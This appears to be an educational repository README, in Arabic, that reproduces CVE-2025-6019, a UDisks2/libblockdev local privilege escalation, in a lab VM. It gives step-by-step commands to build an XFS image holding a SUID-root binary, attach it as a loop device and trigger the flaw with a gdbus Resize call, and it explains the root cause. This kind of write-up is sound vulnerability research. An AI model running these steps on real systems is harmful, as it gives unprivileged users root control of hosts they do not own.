phamdinhquy2512/cve-2025-6019-exploitationإعادة إنتاج تعليمية لـ CVE-2025-6019، تصعيد صلاحيات محلي في UDisks2 عبر صورة نظام ملفات خبيثة تحتوي على ملف ثنائي SUID-root. يتضمن دليل استغلال خطوة بخطوة وتحليل السبب الجذري لبيئات معملية خاضعة للرقابة.
يُوثّق هذا المستودع إعادة إنتاج تعليمية لـ CVE-2025-6019 تم إجراؤها في بيئة مختبرية خاضعة للتحكم (جهاز افتراضي Ubuntu، غير إنتاجي).
يقوم هذا البحث بإعادة إنتاج CVE-2025-6019 في بيئة Ubuntu معزولة لتحليل السبب الجذري وتخفيف ثغرة UDisks2.
يتم مشاركة جميع النتائج بشكل مسؤول وتهدف إلى دعم الوعي واعتماد التصحيحات.
إذا كنت بائعًا أو مسؤول صيانة، يرجى التأكد من أن نظامك يحتوي على أحدث التحديثات الأمنية.
ثغرة CVE هذه هي نوع من تصعيد الامتيازات المحلية في نظام Linux تنشأ من التفاعلات غير المنسقة بشكل كافٍ بين مكونات إدارة نظام الملفات في Linux وهي udisk/udisk2 وlibblockdev وPolkit في هذه الحالة. يسمح هذا العطل لمستخدم محلي (مهاجم غير مميز) بتركيب صورة نظام ملفات ضارة تحتوي على ملفات مملوكة من قبل root مع تعيين بت SUID، وتنفيذ ثنائي SUID-root من تلك الصورة، وأخيرًا الحصول على السيطرة الكاملة على المضيف.
يتم إجراء هذا الاستغلال على جهاز افتراضي Ubuntu 20.04.6.
يتم تنفيذ جميع الاختبارات في جهاز افتراضي محلي معزول، ولا يتم استخدام أي اتصال شبكي أو حمولات مدمرة. الهدف هو مجرد ملاحظة تغييرات الامتياز والتحقق من الثغرة في ظروف آمنة.
~$ gcc check_root.c -o check_root
~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2
لاحظ أن الهدف ليس إنشاء برنامج مدمر. check_root.c هو برنامج اختبار غير ضار يطبع فقط معرف المستخدم الحقيقي ومعرف المستخدم الفعال عند تنفيذه (بواسطة دالة getuid() & geteuid()) ولكن إذا استبدلناه بثنائي ضار، فقد يتعرض النظام للتلف.
~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img
~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious
# Expected: no result return.
إذا رأيت أن الصورة لا تزال مركبة، فقم بفك تركيبها. بعد هذه المرحلة، لدينا صورة ضارة تحتوي على ملف ضار (check_root)، مع علامة SUID وملكية root في البيانات الوصفية.
لاحظ أن هذه البيانات الوصفية تظل متسقة أثناء نسخ الملف بين أجهزة Linux، وأن Linux محمي بواسطة "nosuid"، والذي لن يتأثر في هذا السيناريو.
ستقوم هذه الخطوة بتعيين الصورة على الجهاز المستهدف ثم تنفيذ الملف الضار بداخلها، وهذا الإجراء مشابه لتوصيل USB ضار بجهاز Linux.
~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck:
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns
~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh
افتح محطة طرفية ثانية وأرسل طلب D-Bus يطلب من النظام (UDisks2) تغيير حجم جهاز الكتلة المعروض.
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"
لماذا النجاح: عندما تم تعيين الصورة يدويًا باستخدام losetup ثم تم تركيبها يدويًا (حتى على نظام يوجد فيه udisksd)، تم تنفيذ التركيب تحت سياق مختلف مع خيارات ودلالات دورة حياة مختلفة. في هذا السيناريو، لم يتم تركيب نظام الملفات مع نفس أعلام الأمان المطبقة من udisksd، لذلك تمكن الثنائي setuid داخل الصورة من أخذ التأثير ونجحت خطوة الاستغلال.
⚠️ إخلاء مسؤولية
هذا المستودع مخصص للأغراض التعليمية فقط.
لا تستخدم أي جزء من هذا المحتوى لمهاجمة أو تعديل أنظمة حقيقية.
لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.